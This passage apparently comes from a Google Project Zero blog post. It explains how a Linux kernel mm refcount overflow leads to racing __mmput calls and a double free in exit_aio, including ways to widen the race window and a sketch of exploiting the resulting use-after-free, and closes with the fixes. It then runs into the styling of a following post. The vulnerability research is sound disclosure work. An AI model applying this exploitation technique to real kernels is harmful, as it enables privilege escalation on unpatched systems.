<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Additionally, we can call </span><span class="EakHiGVfAD-c3">__mmput</span><span> on this </span><span class="EakHiGVfAD-c3">mm</span><span> from several tasks simultaneously by having each of them trigger an </span><span class="EakHiGVfAD-c3">mmget/mmput</span><span> on the </span><span class="EakHiGVfAD-c3">mm</span><span>, generating irregular race conditions. Under normal execution, it should not be possible to trigger multiple </span><span class="EakHiGVfAD-c3">__mmput’s</span><span> on the same </span><span class="EakHiGVfAD-c3">mm</span><span> (much less concurrent ones) as </span><span class="EakHiGVfAD-c3">__mmput</span><span> should only be called on the last and only refcount decrement which sets the refcount to zero. However, after the refcount overflow, all </span><span class="EakHiGVfAD-c3">mmget</span><span>/</span><span class="EakHiGVfAD-c3">mmput’s</span><span> on the still-referenced </span><span class="EakHiGVfAD-c3">mm</span><span> will trigger an </span><span class="EakHiGVfAD-c3">__mmput</span><span>. This is because each </span><span class="EakHiGVfAD-c3">mmput</span><span> that decrements the refcount to zero </span><span>(despite the corresponding </span><span class="EakHiGVfAD-c3">mmget</span><span> being why the refcount was above zero in the first place)</span><span> believes that it is solely responsible for freeing the associated </span><span class="EakHiGVfAD-c3">mm</span><span>.</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-cmLd84fS7B5_N1JRJKV3ChuYXr24FB8Yfn7ALBrmzk71O7MXZulCtaF6csA9A3021X9bEruV8iJ2aUBK2q16MfhkL5r1ofXrXEpImakAJPFNmMkeDRK1m3IAPYA3xYDOxP236HaRgDBqXsf_V9wcE9xu9sLSrNIh2hmEqbphe6CwOv7Ld9E0nv2c/s836/image3.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-cmLd84fS7B5_N1JRJKV3ChuYXr24FB8Yfn7ALBrmzk71O7MXZulCtaF6csA9A3021X9bEruV8iJ2aUBK2q16MfhkL5r1ofXrXEpImakAJPFNmMkeDRK1m3IAPYA3xYDOxP236HaRgDBqXsf_V9wcE9xu9sLSrNIh2hmEqbphe6CwOv7Ld9E0nv2c/s836/image3.png" border="0" alt="Flowchart showing how mmget/mmput on a 0 refcount leads to unsafe concurrent __mmput calls." style="max-height: 750px; max-width: 600px;"title="Flowchart showing how mmget/mmput on a 0 refcount leads to unsafe concurrent __mmput calls." /></a></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c19"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>This racy </span><span class="EakHiGVfAD-c3">__mmput</span><span> primitive extends to its callees as well. </span><span class="EakHiGVfAD-c3">exit_aio</span><span class="EakHiGVfAD-c5"> is a good candidate for taking advantage of this:</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><a id="t.61bc4bf6fdc2b57f4709e87c8b2c1d92281feb30"></a><a id="t.2"></a><table class="EakHiGVfAD-c16"><tr class="EakHiGVfAD-c21"><td class="EakHiGVfAD-c11" colspan="1" rowspan="1">
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c1">void</span><span class="EakHiGVfAD-c7"> exit_aio</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> mm_struct </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> kioctx_table </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">table </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> rcu_dereference_raw</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">ioctx_table</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> ctx_rq_wait wait</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">int</span><span class="EakHiGVfAD-c7"> i</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> skipped</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">table</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">return</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> atomic_set</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">wait</span><span class="EakHiGVfAD-c0">.</span><span class="EakHiGVfAD-c7">count</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> table</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">nr</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> init_completion</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">wait</span><span class="EakHiGVfAD-c0">.</span><span class="EakHiGVfAD-c7">comp</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> skipped </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">for</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">i </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">;</span><span class="EakHiGVfAD-c7"> i </span><span class="EakHiGVfAD-c0"><</span><span class="EakHiGVfAD-c7"> table</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">nr</span><span class="EakHiGVfAD-c0">;</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">++</span><span class="EakHiGVfAD-c7">i</span><span class="EakHiGVfAD-c0">)</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> kioctx </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">ctx </span><span class="EakHiGVfAD-c0">=</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> rcu_dereference_protected</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">table</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">table</span><span class="EakHiGVfAD-c0">[</span><span class="EakHiGVfAD-c7">i</span><span class="EakHiGVfAD-c0">],</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">true</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">ctx</span><span class="EakHiGVfAD-c0">)</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> skipped</span><span class="EakHiGVfAD-c0">++;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">continue</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> ctx</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">mmap_size </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> kill_ioctx</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> ctx</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">&</span><span class="EakHiGVfAD-c7">wait</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">atomic_sub_and_test</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">skipped</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">&</span><span class="EakHiGVfAD-c7">wait</span><span class="EakHiGVfAD-c0">.</span><span class="EakHiGVfAD-c7">count</span><span class="EakHiGVfAD-c0">))</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">/* Wait until all IO for the context are done. */</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> wait_for_completion</span><span class="EakHiGVfAD-c0">(&</span><span class="EakHiGVfAD-c7">wait</span><span class="EakHiGVfAD-c0">.</span><span class="EakHiGVfAD-c7">comp</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">}</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> RCU_INIT_POINTER</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">ioctx_table</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> NULL</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> kfree</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">table</span><span class="EakHiGVfAD-c0">);</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">}</span></p></td></tr></table>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>While the callee function </span><span class="EakHiGVfAD-c3">kill_ioctx</span><span> is written in such a way to prevent concurrent execution from causing memory corruption (part of the contract of </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://man7.org/linux/man-pages/man7/aio.7.html">aio</a></span><span> allows for </span><span class="EakHiGVfAD-c3">kill_ioctx</span><span> to be called in a concurrent way), </span><span class="EakHiGVfAD-c3">exit_aio</span><span> itself makes no such guarantees. Two concurrent calls of </span><span class="EakHiGVfAD-c3">exit_aio</span><span> on the same </span><span class="EakHiGVfAD-c3">mm</span><span> </span><span class="EakHiGVfAD-c3">struct</span><span> can consequently</span><span> </span><span>induce</span><span> a double free of the </span><span class="EakHiGVfAD-c3">mm->ioctx_table</span><span> object, which is fetched at the beginning of the function, while only being freed at the very end. This race window can be widened substantially by creating many </span><span>aio</span><span> contexts in order to slow down </span><span class="EakHiGVfAD-c3">exit_aio’s</span><span> internal context freeing loop. Successful exploitation will trigger the following kernel </span><span class="EakHiGVfAD-c3">BUG</span><span class="EakHiGVfAD-c5"> indicating that a double free has occurred:</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyX2lmxdi_963UE1t88A8xenzG7zPNT8Ou2Hvspij4S2FIc_L-y1NsdEy5obGxFNaG3W8X0TpL1TubA64elOjSkJ8FAgPrrDp5B9e1dYtRiM53tlGD1eT8m_2Md9GFS_Hoye-VdLvpZfkII_Qh4eKYSaVDefbE4ttCmgrF-Hkft2ILgW2dTdcIUxgG/s1437/image2.png" style="display: block; padding: 1em 0;text-align: center;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyX2lmxdi_963UE1t88A8xenzG7zPNT8Ou2Hvspij4S2FIc_L-y1NsdEy5obGxFNaG3W8X0TpL1TubA64elOjSkJ8FAgPrrDp5B9e1dYtRiM53tlGD1eT8m_2Md9GFS_Hoye-VdLvpZfkII_Qh4eKYSaVDefbE4ttCmgrF-Hkft2ILgW2dTdcIUxgG/s1200/image2.png" border="0" alt="Kernel backtrace showing the double free condition detection" style="max-height: 750px; max-width: 600px;"title="Kernel backtrace showing the double free condition detection" /></a></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c19"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Note that as this </span><span class="EakHiGVfAD-c3">exit_aio</span><span> path is hit from </span><span class="EakHiGVfAD-c3">__mmput</span><span>, triggering this race will produce at least two permanently deadlocked processes when those processes later try to take the mmap write lock. However, from an exploitation perspective, this is irrelevant as the memory corruption primitive has already occurred before the deadlock occurs. Exploiting the resultant primitive would probably involve racing a reclaiming allocation in between the two frees of the </span><span class="EakHiGVfAD-c3">mm->ioctx_table</span><span> object, then taking advantage of the resulting UAF condition of the reclaimed allocation. It is </span><span>undoubtedly</span><span class="EakHiGVfAD-c5"> possible, although I didn’t take this all the way to a completed PoC.</span></p><h2 class="EakHiGVfAD-c17 EakHiGVfAD-c8" id="h.hesv56ci2m4m"><span class="EakHiGVfAD-c12">Conclusion</span></h2>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>While the null-dereference bug itself was </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/fs/proc/task_mmu.c?h=v5.15.86&id=33fc9e26b7cb39f0d4219c875a2451802249c225">fixed in October 2022</a></span><span>, the more important fix was the </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v6.2-rc3&id=48ea09cddae0b794cde2070f106ef676703dbcd3">introduction of an oops limit</a></span><span> which causes the kernel to panic if too many oopses occur. While this patch is already upstream, it is </span><span>important</span><span> that distributed kernels also inherit this oops limit and backport it to LTS releases if we want to avoid treating such null-dereference bugs as full-fledged security issues in the future. Even in that best-case scenario, it is nevertheless highly beneficial for security researchers to carefully evaluate the side-effects of bugs discovered in the future that are similarly “harmless” and ensure that the </span><span>abrupt</span><span> halt of kernel code execution caused by a kernel oops does not lead to other security-relevant primitives.</span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-35623089222637695382023-01-12T08:59:00.000-08:002023-01-12T08:59:29.903-08:00DER Entitlements: The (Brief) Return of the Psychic Paper<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=pYEwJuzr3ZMDX2Y1syVbvx06if6osnyAslCuLPPf50A');ul.lst-kix_h97ui6n3g8c8-4{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-5{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-2{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-3{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-8{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-6{list-style-type:none}.lst-kix_o4b5kflpgafe-7>li:before{content:"- "}ul.lst-kix_h97ui6n3g8c8-7{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-0{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-1{list-style-type:none}ul.lst-kix_h97ui6n3g8c8-0{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-4{list-style-type:none}.lst-kix_o4b5kflpgafe-8>li:before{content:"- "}ul.lst-kix_h97ui6n3g8c8-1{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-5{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-2{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-3{list-style-type:none}.lst-kix_c2aw6txn2xw5-8>li:before{content:"\0025a0 "}ul.lst-kix_5nbkgo2blvl3-8{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-6{list-style-type:none}ul.lst-kix_5nbkgo2blvl3-7{list-style-type:none}.lst-kix_c2aw6txn2xw5-7>li:before{content:"\0025cb "}.lst-kix_c2aw6txn2xw5-0>li:before{content:"\0025cf "}.lst-kix_c2aw6txn2xw5-3>li:before{content:"\0025cf "}.lst-kix_n26z3gtxgors-6>li:before{content:"\0025cf "}.lst-kix_c2aw6txn2xw5-4>li:before{content:"\0025cb "}.lst-kix_n26z3gtxgors-5>li:before{content:"\0025a0 "}.lst-kix_c2aw6txn2xw5-6>li:before{content:"\0025cf "}.lst-kix_o4b5kflpgafe-0>li:before{content:"- "}.lst-kix_c2aw6txn2xw5-5>li:before{content:"\0025a0 "}.lst-kix_o4b5kflpgafe-1>li:before{content:"- "}.lst-kix_n26z3gtxgors-4>li:before{content:"\0025cb "}.lst-kix_o4b5kflpgafe-2>li:before{content:"- "}.lst-kix_n26z3gtxgors-1>li:before{content:"\0025cb "}.lst-kix_n26z3gtxgors-3>li:before{content:"\0025cf "}.lst-kix_o4b5kflpgafe-3>li:before{content:"- "}.lst-kix_n26z3gtxgors-2>li:before{content:"\0025a0 "}.lst-kix_o4b5kflpgafe-6>li:before{content:"- "}.lst-kix_pb72mncojys1-8>li:before{content:"\0025a0 "}.lst-kix_c2aw6txn2xw5-2>li:before{content:"\0025a0 "}.lst-kix_pb72mncojys1-7>li:before{content:"\0025cb "}.lst-kix_o4b5kflpgafe-4>li:before{content:"- "}.lst-kix_c2aw6txn2xw5-1>li:before{content:"\0025cb "}.lst-kix_o4b5kflpgafe-5>li:before{content:"- "}.lst-kix_n26z3gtxgors-0>li:before{content:"\0025cf "}.lst-kix_pb72mncojys1-6>li:before{content:"\0025cf "}.lst-kix_pb72mncojys1-4>li:before{content:"\0025cb "}.lst-kix_pb72mncojys1-5>li:before{content:"\0025a0 "}.lst-kix_pb72mncojys1-2>li:before{content:"\0025a0 "}.lst-kix_pb72mncojys1-3>li:before{content:"\0025cf "}.lst-kix_pb72mncojys1-1>li:before{content:"\0025cb "}.lst-kix_pb72mncojys1-0>li:before{content:"\0025cf "}ul.lst-kix_n26z3gtxgors-5{list-style-type:none}.lst-kix_mk2jd2ji027g-8>li:before{content:"\0025a0 "}ul.lst-kix_n26z3gtxgors-4{list-style-type:none}ul.lst-kix_n26z3gtxgors-7{list-style-type:none}ul.lst-kix_n26z3gtxgors-6{list-style-type:none}ul.lst-kix_n26z3gtxgors-1{list-style-type:none}ul.lst-kix_n26z3gtxgors-0{list-style-type:none}ul.lst-kix_n26z3gtxgors-3{list-style-type:none}.lst-kix_mk2jd2ji027g-7>li:before{content:"\0025cb "}ul.lst-kix_n26z3gtxgors-2{list-style-type:none}.lst-kix_mk2jd2ji027g-4>li:before{content:"\0025cb "}.lst-kix_mk2jd2ji027g-6>li:before{content:"\0025cf "}.lst-kix_mk2jd2ji027g-5>li:before{content:"\0025a0 "}ul.lst-kix_n26z3gtxgors-8{list-style-type:none}.lst-kix_h97ui6n3g8c8-8>li:before{content:"\0025a0 "}.lst-kix_h97ui6n3g8c8-7>li:before{content:"\0025cb "}ul.lst-kix_o4b5kflpgafe-4{list-style-type:none}ul.lst-kix_o4b5kflpgafe-3{list-style-type:none}ul.lst-kix_o4b5kflpgafe-2{list-style-type:none}.lst-kix_h97ui6n3g8c8-4>li:before{content:"\0025cb "}.lst-kix_h97ui6n3g8c8-6>li:before{content:"\0025cf "}ul.lst-kix_o4b5kflpgafe-1{list-style-type:none}ul.lst-kix_o4b5kflpgafe-8{list-style-type:none}ul.lst-kix_o4b5kflpgafe-7{list-style-type:none}ul.lst-kix_o4b5kflpgafe-6{list-style-type:none}.lst-kix_h97ui6n3g8c8-5>li:before{content:"\0025a0 "}ul.lst-kix_o4b5kflpgafe-5{list-style-type:none}.lst-kix_mk2jd2ji027g-0>li:before{content:"\0025cf "}.lst-kix_h97ui6n3g8c8-0>li:before{content:"\0025cf "}.lst-kix_h97ui6n3g8c8-2>li:before{content:"\0025a0 "}ul.lst-kix_o4b5kflpgafe-0{list-style-type:none}.lst-kix_mk2jd2ji027g-3>li:before{content:"\0025cf "}.lst-kix_h97ui6n3g8c8-3>li:before{content:"\0025cf "}.lst-kix_mk2jd2ji027g-2>li:before{content:"\0025a0 "}.lst-kix_mk2jd2ji027g-1>li:before{content:"\0025cb "}.lst-kix_h97ui6n3g8c8-1>li:before{content:"\0025cb "}.lst-kix_5nbkgo2blvl3-5>li:before{content:"- "}ul.lst-kix_pb72mncojys1-5{list-style-type:none}ul.lst-kix_pb72mncojys1-4{list-style-type:none}.lst-kix_5nbkgo2blvl3-6>li:before{content:"- "}.lst-kix_5nbkgo2blvl3-7>li:before{content:"- "}ul.lst-kix_pb72mncojys1-3{list-style-type:none}ul.lst-kix_pb72mncojys1-2{list-style-type:none}ul.lst-kix_pb72mncojys1-8{list-style-type:none}.lst-kix_5nbkgo2blvl3-8>li:before{content:"- "}ul.lst-kix_pb72mncojys1-7{list-style-type:none}ul.lst-kix_pb72mncojys1-6{list-style-type:none}ul.lst-kix_pb72mncojys1-1{list-style-type:none}ul.lst-kix_pb72mncojys1-0{list-style-type:none}ul.lst-kix_mk2jd2ji027g-3{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-2{list-style-type:none}ul.lst-kix_mk2jd2ji027g-2{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-3{list-style-type:none}ul.lst-kix_mk2jd2ji027g-1{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-0{list-style-type:none}ul.lst-kix_mk2jd2ji027g-0{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-1{list-style-type:none}ul.lst-kix_mk2jd2ji027g-7{list-style-type:none}ul.lst-kix_mk2jd2ji027g-6{list-style-type:none}ul.lst-kix_mk2jd2ji027g-5{list-style-type:none}ul.lst-kix_mk2jd2ji027g-4{list-style-type:none}ul.lst-kix_mk2jd2ji027g-8{list-style-type:none}.lst-kix_5nbkgo2blvl3-4>li:before{content:"- "}.lst-kix_5nbkgo2blvl3-2>li:before{content:"- "}.lst-kix_5nbkgo2blvl3-3>li:before{content:"- "}.lst-kix_n26z3gtxgors-7>li:before{content:"\0025cb "}.lst-kix_5nbkgo2blvl3-1>li:before{content:"- "}.lst-kix_n26z3gtxgors-8>li:before{content:"\0025a0 "}.lst-kix_5nbkgo2blvl3-0>li:before{content:"- "}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}ul.lst-kix_c2aw6txn2xw5-6{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-7{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-4{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-5{list-style-type:none}ul.lst-kix_c2aw6txn2xw5-8{list-style-type:none}ol{margin:0;padding:0}table td,table th{padding:0}.wUhACgDjbS-c33{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.wUhACgDjbS-c36{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:471pt;border-top-color:#e0e0e0;border-bottom-style:solid}.wUhACgDjbS-c9{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.wUhACgDjbS-c6{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.wUhACgDjbS-c20{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:center}.wUhACgDjbS-c1{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.wUhACgDjbS-c7{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left;height:11pt}.wUhACgDjbS-c10{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.wUhACgDjbS-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.wUhACgDjbS-c3{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.wUhACgDjbS-c16{border-spacing:0;border-collapse:collapse;margin-right:auto}.wUhACgDjbS-c35{margin-left:-3pt;border-spacing:0;border-collapse:collapse;margin-right:auto}.wUhACgDjbS-c15{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.wUhACgDjbS-c11{color:#000000;text-decoration:none;vertical-align:baseline;font-style:normal}.wUhACgDjbS-c31{font-weight:400;text-decoration:none;vertical-align:baseline;font-family:"Arial"}.wUhACgDjbS-c26{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.wUhACgDjbS-c32{font-size:10pt;font-family:"Roboto";font-weight:400}.wUhACgDjbS-c21{font-weight:400;font-size:16pt;font-family:"Arial"}.wUhACgDjbS-c22{text-decoration:none;vertical-align:baseline;font-style:normal}.wUhACgDjbS-c5{font-size:10pt;font-family:Consolas,"Courier New";font-weight:400}.wUhACgDjbS-c25{padding:0;margin:0}.wUhACgDjbS-c23{font-weight:400;font-family:Consolas,"Courier New"}.wUhACgDjbS-c34{font-weight:700;font-family:"Arial"}.wUhACgDjbS-c18{color:inherit;text-decoration:inherit}.wUhACgDjbS-c4{font-weight:400;font-family:"Courier New"}.wUhACgDjbS-c19{margin-left:36pt;padding-left:0pt}.wUhACgDjbS-c2{margin-left:36pt;height:11pt}.wUhACgDjbS-c12{height:11pt}.wUhACgDjbS-c24{color:#c53929}.wUhACgDjbS-c8{color:#3367d6}.wUhACgDjbS-c28{color:#455a64}.wUhACgDjbS-c13{color:#000000}.wUhACgDjbS-c17{color:#9c27b0}.wUhACgDjbS-c29{font-style:italic}.wUhACgDjbS-c30{font-size:11pt}.wUhACgDjbS-c14{height:0pt}.wUhACgDjbS-c27{color:#990000}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial"